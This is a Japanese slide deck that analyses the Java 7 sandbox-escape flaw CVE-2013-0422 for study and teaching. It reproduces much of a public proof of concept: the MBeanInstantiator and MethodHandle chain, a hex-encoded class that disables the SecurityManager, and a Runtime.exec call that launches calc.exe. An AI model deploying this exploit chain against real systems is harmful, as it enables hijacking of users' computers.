SlideShare a Scribd company logo
1 of 22
■ 自己紹介
  twitter:abend

  セキュリティエンジニアをやってます。(得意科目はアルコール)


  メインは、Webアプリケーションセキュリティ。仕事なのか趣味なのか
  分からないところで、いろいろなことに首を突っ込んでます。

  最近、CVE-2013-0422を好きになりました。




                  本でました。




                                      2
■ で、今日の内容は

 CVE-2013-0422についてです。


 まず、CVEとはCommon Vulnerabilities and Exposures Numberの略で、
 脆弱性情報のデータベース。脆弱性ごとに固有のCVE番号が割り振られる。




    http://cve.mitre.org/

                                                           3
■脆弱性って


 「不正アクセスやウィルス等の攻撃により、
 機能や性能を損なう原因となりうるセキュリティ上の問題箇所」

       ~ IPA 情報セキュリティ早期警戒パートナーシップガイドライン ~




                   アプリ・OS


  入力
                                        例:
                      ロジック回避            ・ロジック回避による権限昇格
                                        ・コマンド呼び出しによる不正操作
                               コマンド呼出
                                        ・意図せぬ出力による情報漏えい
                                        ・サービスの停止による利用不可
             意図せぬ出力                                  ...etc
  出力

                      サービス停止



                                                              4
■ CVE-2013-0422

   Java7に存在する脆弱性につけられて番号。
   2013年1月10日に報告されたゼロデイの脆弱性でした。

   ゼロデイとは、セキュリティパッチが公開されていない脆弱性。
   根本的な対策がないため、悪用されるとセキュリティ会社は非常につらい
   思いをする。




                                       5
■Javaって

 オブジェクト指向で、様々な環境で動作が可能なプログラム言語です。
 Write Once, Run Anywhere(一度書くと、どこでも動く)

                   ソースコード
                  (設計図とも言うら                    コンパイルし
                     しい)                       て、中間ファイ
                                               ル(Classファイ
                                               ル)を生成。
               Javaコンパイラ

                                       Class
                                      ファイル      「CAFEBABE」
                                                から始まるバイ
          Java Virtual Machine(JVM)             ナリファイル。




                                                JVMが各環境に
                                                合わせ、実行。

                                                             6
■Java AppletとServletの違い

 サーバ側で実行されるのか、クライアント側で実行されるのかが大きく異なる。



   Appletの場合              Servletの場合
        サーバ

                            サーバ
                             Servlet

              Classファイル       JVM
              をダウンロード
                                       実行

       Class                 Class
      ファイル                  ファイル
              実行
                                       結果を出力
       JVM
      ブラウザ
     クライアント                   一般利用者            7
■Java Appletに関して

Java Appletは、サーバからJavaプログラムを利用者のブラウザにダウンロード
し、利用者のブラウザ上で動作するJavaプログラム。以下の制限(サンドボックス)
が存在する。
※サンドボックスとは砂場。影響範囲を限定させ、セキュリティレベルを向上させるための仕組み。



<制限内容>
・利用者のPCのメモリへのアクセス制限
・利用者のPCのファイルシステムへのアクセス制限
・利用者のPCで他プログラムの起動制限( System.exec()、Runtime.exe()など)
・OS固有のライブラリのロードやメソッド呼び出しの定義の禁止
・利用者のPCのユーザやマシンに関する情報の取得の禁止
 (System.getProperty()など)
・起動しているアプレットが属さないThreadGroupの生成、操作の禁止
・ClassLoader、SecurityManager、ContentHandlerFactory、SocketImplFactory、
 URLStreamHandlerFactoryのインスタンスの生成禁止
                     By O'REILLY Javaネットワークプログラミング


脆弱性を悪用された場合に、制限を突破され、本来は実行できない動作を利用者
に行わせることが可能となる。

                                                                        8
■ では、本日の脆弱性は

問題の箇所
① com.sun.jmx.mbeanserver.MBeanInstantiatorクラスのfindClassメソッド
② java.lang.invoke.MethodHandleクラスのinvokeWithArgumentsメソッド(CVE-2012-5088)


影響

不正なJavaAppletにアクセスすると攻撃者にパソコンを乗っ取られる可能性
がある。攻撃用プログラムが公開されている。また、攻撃に悪用されている
そうです(by IPA)。




                          ① 細工されたJavaAppletにアクセス。



      不正なJavaApplet

                                                         一般利用者

                                          ② パソコンを乗っ取る。
                             インターネット


         攻撃者
                                                                            9
■どうなるのか(公開された検証プログラムの場
合)
脆弱なプログラム(Java)の欠陥を悪用して意図しないプログラム
(Calc.exe)を動作
させる。

                        意図しないプログラム

    脆弱なアプリ



             実行させられる




公開された検証用プログラム(詳細はのちほど)は、Calc.exeを動作させてい
た。

本当に悪用する場合、利用者が意図しないプログラムとして動かすのはKey
Logger
やBackdoorを動作させ、対象PCから情報を搾取したり、乗っ取りもする。

                                          10
■ 具体的に見ていこう
  PoC(Proof of Concept:実証コード)を見ていきます。

  いろいろ調べたところ、ロシア人が下記に公開しているとの情報をGET!

  https://xxxxxx/index.php?showtopic=23719&st=0

  実際にアクセスした。




   ねえのかよ       (`Д´) ムキー!




 結果的にGoogle先生に聞いたら、教えてくれた。

                                                  11
■ MBeanInstantiatorクラスの問題

 MBeanInstantiatorクラスのfindClassにセキュリティチェックに不備が
 ある。


                    ~     PoCの一部抜粋                ~
 JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();

 JmxMBeanServer localJmxMBeanServer =
 (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);

 MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();

 ClassLoader a = null;

 Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
 Class localClass2 =
 localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);



 findClass関数は、第一引数で指定されているクラス名のClassオブジェクト
 を生成する。




                                                                                                           12
■ MBeanInstantiatorクラスの問題
 findClass関数は、loadClass関数を呼び出している。

 /** * Gets the class for the specified class name using the MBean * Interceptor's classloader */
 public Class findClass(String className, ClassLoader loader) throws ReflectionException {
   return loadClass(className,loader);
 }


 static Class<?> loadClass(String className, ClassLoader loader) throws ReflectionException {
       Class< ? > theClass;
       if (className == null) {
           throw new RuntimeOperationsException(new
               IllegalArgumentException("The class name cannot be null"),
                         "Exception occurred during object instantiation");
       }
       try {
           if (loader == null)
               loader = MBeanInstantiator.class.getClassLoader();
           if (loader != null) {
               theClass = Class.forName(className, false, loader);
           } else {
               theClass = Class.forName(className);
  Class<?> localClass1 =
           }
       } catch (ClassNotFoundException e) {
  Class.forName("sun.org.mozilla.javascript.internal.Context“
           throw new ReflectionException(e,
   ,false,MBeanInstantiator.class.getClassLoader());
           "The MBean class could not be loaded");
       }
       return theClass;
 }置き換えて、PoCを試してみたが駄目だった。

 何が問題かというと、どんなクラスでもインスタンスを生成できるという点。                                                                13
■ MethodHandlerクラスの問題
 invokeWithArguments関数は、引数のClassを生成する。


  MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
  MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[]
  { MethodType.class });

  ~~ 割愛      ~~

  MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]
  { localLookup, localClass1, "createClassLoader", localMethodType4 });
  Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
  MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[]
  { byte[].class });
  MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]
  { localLookup, localClass2, "defineClass", localMethodType5 });
  Class<?> localClass3 = (Class<?>)localMethodHandle5.invokeWithArguments(new Object[]
  { localObject2, null, arrayOfByte });
  localClass3.newInstance();




 ClassLoaderクラスのdefineClass関数は、arrayByte(バイトの配列)を
 引数に指定しオブジェクトを作成。

 arrayByteで指定するバイトの配列は、Javaの中間ファイルであるClass
 ファイルのバイト配列。
                                                                                                        14
■ClassLoaderクラスのdefineClass関数の動作
引数に指定されたバイト配列をClassに変換する。
動的にClassを生成できるようになる。
public static String ByteArrayWithSecOff =
"CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001" +
"E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C65010"   +
"0124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B0"   +
"10004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6"   +
"176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002"   +
"200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626"   +
"A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696"   +
"F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C65676"   +
"56401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294"   +
"C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726"   +
"974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000"   +
"500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB10001000"   +
"40009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000"   +
"E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003"   +
"A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C000"   +
"10000000C000F0010000000010016000000020017";

public byte[] hex2Byte(String paramString) {
  byte[] arrayOfByte = new byte[paramString.length() / 2];
  for (int i = 0; i < arrayOfByte.length; i++) {
    arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
  }
  return arrayOfByte;
}


バイト配列だと、何をするプログラムなのか不明。
                                                                                                         15
■リバースエンジニアリングしてみる
まずは、先ほどの文字列をバイナリファイルに変換。
Hex2binなどテキストファイルをバイナリファイル(Classファイル)に変換
してくれるツールがあるので、そういったものを利用。

次に、JADでバイナリファイル(Classファイル)から元のソースコードに
リバースエンジニアリング。


その結果・・・
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class B implements PrivilegedExceptionAction {
  public B() {
    try {
       AccessController.doPrivileged(this);
    }catch(Exception e) {
    }
  }
  public Object run() {
    System.setSecurityManager(null);
    return new Object();
  }
}

SecurityManagerをオフってます。
                                                        16
■SecurityManagerがオフられると・・・
 本来は、実行できないコードが実行させられてしまう。

 MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]
 { localLookup, localClass2, "defineClass", localMethodType5 });
 Class<?> localClass3 = (Class<?>)localMethodHandle5.invokeWithArguments(new Object[]
 { localObject2, null, arrayOfByte });
 localClass3.newInstance();

 Runtime.getRuntime().exec("calc.exe");




 newInstance()が実行されたタイミングで、SecurityManagerがオフられる。
 その後のexec関数で指定されたローカルPC側のコマンドが実行されてしまう。

 冒頭で説明した通り、Calc.exeだけの実行であればリスクはないと言えるかも
 しれないが、exec関数で別な悪意のあるプログラムが指定された場合に、攻撃
 者にPCを乗っ取られたり、情報を搾取されたりする。




                                                                                                       17
■いろいろと言ってきましたが
PoCだとCalc.exeが立ち上がる。




                       18
■もちろん
リバースエンジニアリングしたコードを直接実行できるように(MethodHandler
などを介さずに)修正したが、もちろん不正プログラム(Calc.exe)は、実行
できない。
import java.applet.Applet;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class SecurityOff extends Applet implements PrivilegedExceptionAction{
  public SecurityOff(){
    try {
      AccessController.doPrivileged(this);
    }catch(Exception e) {
    }
  }
  public Object run() {
    System.setSecurityManager(null);
    try{
      Runtime.getRuntime().exec("calc.exe");
    }catch(Exception e){
    }
    return new Object();
  }
}




                                                                                19
■もっとやろうとすれば・・・
Calc.exeを実行するのとは違い、PCを乗っ取ることが可能。




               攻撃者                 被害者




                                         20
21
■まとめ




       22

More Related Content

What's hot

大規模な負荷でもドキドキしない為のJava EE
大規模な負荷でもドキドキしない為のJava EE大規模な負荷でもドキドキしない為のJava EE
大規模な負荷でもドキドキしない為のJava EETaiichilow Nagase
 
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4c
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4cCDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4c
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4cNorito Agetsuma
 
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)a know
 
とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選zaki4649
 
はじめてのJPA
はじめてのJPAはじめてのJPA
はじめてのJPAkawaba
 
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜JustSystems Corporation
 
JavaScriptでWebDriverのテストコードを書きましょ
JavaScriptでWebDriverのテストコードを書きましょJavaScriptでWebDriverのテストコードを書きましょ
JavaScriptでWebDriverのテストコードを書きましょKohki Nakashima
 
Java8 コーディングベストプラクティス and NetBeansのメモリログから...
Java8 コーディングベストプラクティス and NetBeansのメモリログから...Java8 コーディングベストプラクティス and NetBeansのメモリログから...
Java8 コーディングベストプラクティス and NetBeansのメモリログから...なおき きしだ
 
GroovyなAndroidテスト #atest_hack
GroovyなAndroidテスト #atest_hackGroovyなAndroidテスト #atest_hack
GroovyなAndroidテスト #atest_hackTakahiro Yoshimura
 
MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性JPCERT Coordination Center
 
Java Batch 仕様 (Public Review時点)
Java Batch 仕様 (Public Review時点) Java Batch 仕様 (Public Review時点)
Java Batch 仕様 (Public Review時点) Norito Agetsuma
 
元気玉的 分散テスト 実行システム TestStreamer
元気玉的 分散テスト 実行システム TestStreamer元気玉的 分散テスト 実行システム TestStreamer
元気玉的 分散テスト 実行システム TestStreamerYoshitaka Kawashima
 
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)JPCERT Coordination Center
 
Javaアプリケーションサーバ 構築・運用の勘所
Javaアプリケーションサーバ 構築・運用の勘所Javaアプリケーションサーバ 構築・運用の勘所
Javaアプリケーションサーバ 構築・運用の勘所Takahiro YAMADA
 
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)JPCERT Coordination Center
 
Head toward Java 16 (Night Seminar Edition)
Head toward Java 16 (Night Seminar Edition)Head toward Java 16 (Night Seminar Edition)
Head toward Java 16 (Night Seminar Edition)Yuji Kubota
 
Selenium webdriver使ってみようず
Selenium webdriver使ってみようずSelenium webdriver使ってみようず
Selenium webdriver使ってみようずOda Shinsuke
 

What's hot (20)

大規模な負荷でもドキドキしない為のJava EE
大規模な負荷でもドキドキしない為のJava EE大規模な負荷でもドキドキしない為のJava EE
大規模な負荷でもドキドキしない為のJava EE
 
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4c
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4cCDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4c
CDI2.0アップデート&クックブック #JavaDayTokyo #jdt2016_4c
 
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)
はじめよう JavaFX 2.x(第3回 岡山Javaユーザー会)
 
とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選
 
はじめてのJPA
はじめてのJPAはじめてのJPA
はじめてのJPA
 
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜
Javaチョットデキルへの道〜JavaコアSDKに見る真似したいコード10選〜
 
Java EE8 Report
Java EE8 ReportJava EE8 Report
Java EE8 Report
 
JavaScriptでWebDriverのテストコードを書きましょ
JavaScriptでWebDriverのテストコードを書きましょJavaScriptでWebDriverのテストコードを書きましょ
JavaScriptでWebDriverのテストコードを書きましょ
 
Heap statsfx analyzer
Heap statsfx analyzerHeap statsfx analyzer
Heap statsfx analyzer
 
Java8 コーディングベストプラクティス and NetBeansのメモリログから...
Java8 コーディングベストプラクティス and NetBeansのメモリログから...Java8 コーディングベストプラクティス and NetBeansのメモリログから...
Java8 コーディングベストプラクティス and NetBeansのメモリログから...
 
Groovyコンファレンス
GroovyコンファレンスGroovyコンファレンス
Groovyコンファレンス
 
GroovyなAndroidテスト #atest_hack
GroovyなAndroidテスト #atest_hackGroovyなAndroidテスト #atest_hack
GroovyなAndroidテスト #atest_hack
 
MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性
 
Java Batch 仕様 (Public Review時点)
Java Batch 仕様 (Public Review時点) Java Batch 仕様 (Public Review時点)
Java Batch 仕様 (Public Review時点)
 
元気玉的 分散テスト 実行システム TestStreamer
元気玉的 分散テスト 実行システム TestStreamer元気玉的 分散テスト 実行システム TestStreamer
元気玉的 分散テスト 実行システム TestStreamer
 
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
 
Javaアプリケーションサーバ 構築・運用の勘所
Javaアプリケーションサーバ 構築・運用の勘所Javaアプリケーションサーバ 構築・運用の勘所
Javaアプリケーションサーバ 構築・運用の勘所
 
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
 
Head toward Java 16 (Night Seminar Edition)
Head toward Java 16 (Night Seminar Edition)Head toward Java 16 (Night Seminar Edition)
Head toward Java 16 (Night Seminar Edition)
 
Selenium webdriver使ってみようず
Selenium webdriver使ってみようずSelenium webdriver使ってみようず
Selenium webdriver使ってみようず
 

Similar to Cve 2013-0422

SDLoader SeasarCon 2009 Whire
SDLoader SeasarCon 2009 WhireSDLoader SeasarCon 2009 Whire
SDLoader SeasarCon 2009 WhireAkio Katayama
 
Javaはどのように動くのか~スライドでわかるJVMの仕組み
Javaはどのように動くのか~スライドでわかるJVMの仕組みJavaはどのように動くのか~スライドでわかるJVMの仕組み
Javaはどのように動くのか~スライドでわかるJVMの仕組みChihiro Ito
 
Java をクラッシュさせて遊んでみよう!
Java をクラッシュさせて遊んでみよう!Java をクラッシュさせて遊んでみよう!
Java をクラッシュさせて遊んでみよう!YujiSoftware
 
ScalaでAndroidアプリ開発
ScalaでAndroidアプリ開発ScalaでAndroidアプリ開発
ScalaでAndroidアプリ開発papamitra
 
HeapStats @ Seasar Conference 2015 LT
HeapStats @ Seasar Conference 2015 LTHeapStats @ Seasar Conference 2015 LT
HeapStats @ Seasar Conference 2015 LTYuji Kubota
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/AndroidセキュアコーディングMasaki Kubo
 
Java仮想マシンの実装技術
Java仮想マシンの実装技術Java仮想マシンの実装技術
Java仮想マシンの実装技術Kiyokuni Kawachiya
 
Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義JPCERT Coordination Center
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようAkira Shimosako
 
毎日が憧れの新築、反復可能なデリバリーによる常時新築システム
毎日が憧れの新築、反復可能なデリバリーによる常時新築システム毎日が憧れの新築、反復可能なデリバリーによる常時新築システム
毎日が憧れの新築、反復可能なデリバリーによる常時新築システムTomohiro Ohtake
 
Java fx勉強会lt 第8回
Java fx勉強会lt 第8回Java fx勉強会lt 第8回
Java fx勉強会lt 第8回Taiji Miyabe
 
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageJavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageYuichi Sakuraba
 
R5 3 type annotation
R5 3 type annotationR5 3 type annotation
R5 3 type annotationEIICHI KIMURA
 
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)Koichi Sakata
 
モダンJavaScript環境構築一歩目
モダンJavaScript環境構築一歩目モダンJavaScript環境構築一歩目
モダンJavaScript環境構築一歩目大樹 小倉
 
WildFly Swarm - Rightsize Your Java EE Apps
WildFly Swarm - Rightsize Your Java EE AppsWildFly Swarm - Rightsize Your Java EE Apps
WildFly Swarm - Rightsize Your Java EE AppsYoshimasa Tanabe
 
Awsで実現するseleniumテスト高速術
Awsで実現するseleniumテスト高速術Awsで実現するseleniumテスト高速術
Awsで実現するseleniumテスト高速術finoue
 
TDD勉強会キックオフ for Java
TDD勉強会キックオフ for JavaTDD勉強会キックオフ for Java
TDD勉強会キックオフ for JavaYuta Kawadai
 
Functional Testing in #YAPCASIA
Functional Testing in #YAPCASIAFunctional Testing in #YAPCASIA
Functional Testing in #YAPCASIAkyon mm
 

Similar to Cve 2013-0422 (20)

SDLoader SeasarCon 2009 Whire
SDLoader SeasarCon 2009 WhireSDLoader SeasarCon 2009 Whire
SDLoader SeasarCon 2009 Whire
 
Javaはどのように動くのか~スライドでわかるJVMの仕組み
Javaはどのように動くのか~スライドでわかるJVMの仕組みJavaはどのように動くのか~スライドでわかるJVMの仕組み
Javaはどのように動くのか~スライドでわかるJVMの仕組み
 
Java をクラッシュさせて遊んでみよう!
Java をクラッシュさせて遊んでみよう!Java をクラッシュさせて遊んでみよう!
Java をクラッシュさせて遊んでみよう!
 
ScalaでAndroidアプリ開発
ScalaでAndroidアプリ開発ScalaでAndroidアプリ開発
ScalaでAndroidアプリ開発
 
HeapStats @ Seasar Conference 2015 LT
HeapStats @ Seasar Conference 2015 LTHeapStats @ Seasar Conference 2015 LT
HeapStats @ Seasar Conference 2015 LT
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
Java仮想マシンの実装技術
Java仮想マシンの実装技術Java仮想マシンの実装技術
Java仮想マシンの実装技術
 
Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみよう
 
毎日が憧れの新築、反復可能なデリバリーによる常時新築システム
毎日が憧れの新築、反復可能なデリバリーによる常時新築システム毎日が憧れの新築、反復可能なデリバリーによる常時新築システム
毎日が憧れの新築、反復可能なデリバリーによる常時新築システム
 
Java fx勉強会lt 第8回
Java fx勉強会lt 第8回Java fx勉強会lt 第8回
Java fx勉強会lt 第8回
 
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageJavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project Visage
 
R5 3 type annotation
R5 3 type annotationR5 3 type annotation
R5 3 type annotation
 
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)
Guide to GraalVM (Oracle Groundbreakers APAC 2019 Tour in Tokyo)
 
モダンJavaScript環境構築一歩目
モダンJavaScript環境構築一歩目モダンJavaScript環境構築一歩目
モダンJavaScript環境構築一歩目
 
WildFly Swarm - Rightsize Your Java EE Apps
WildFly Swarm - Rightsize Your Java EE AppsWildFly Swarm - Rightsize Your Java EE Apps
WildFly Swarm - Rightsize Your Java EE Apps
 
Awsで実現するseleniumテスト高速術
Awsで実現するseleniumテスト高速術Awsで実現するseleniumテスト高速術
Awsで実現するseleniumテスト高速術
 
TDD勉強会キックオフ for Java
TDD勉強会キックオフ for JavaTDD勉強会キックオフ for Java
TDD勉強会キックオフ for Java
 
ScalaMatsuri 2016
ScalaMatsuri 2016ScalaMatsuri 2016
ScalaMatsuri 2016
 
Functional Testing in #YAPCASIA
Functional Testing in #YAPCASIAFunctional Testing in #YAPCASIA
Functional Testing in #YAPCASIA
 

More from abend_cve_9999_0001

Bypassing anti virus using powershell
Bypassing anti virus using powershellBypassing anti virus using powershell
Bypassing anti virus using powershellabend_cve_9999_0001
 
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたabend_cve_9999_0001
 
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)abend_cve_9999_0001
 
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)abend_cve_9999_0001
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介abend_cve_9999_0001
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理abend_cve_9999_0001
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのかabend_cve_9999_0001
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"abend_cve_9999_0001
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayabend_cve_9999_0001
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編abend_cve_9999_0001
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらabend_cve_9999_0001
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)abend_cve_9999_0001
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~abend_cve_9999_0001
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。abend_cve_9999_0001
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)abend_cve_9999_0001
 

More from abend_cve_9999_0001 (20)

Bypassing anti virus using powershell
Bypassing anti virus using powershellBypassing anti virus using powershell
Bypassing anti virus using powershell
 
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
 
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
 
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
 
Your hash is.
Your hash is.Your hash is.
Your hash is.
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 
Nmap 9つの真実
Nmap 9つの真実Nmap 9つの真実
Nmap 9つの真実
 
Nmapの真実
Nmapの真実Nmapの真実
Nmapの真実
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 
The vulnerabilities never bothered me anyway
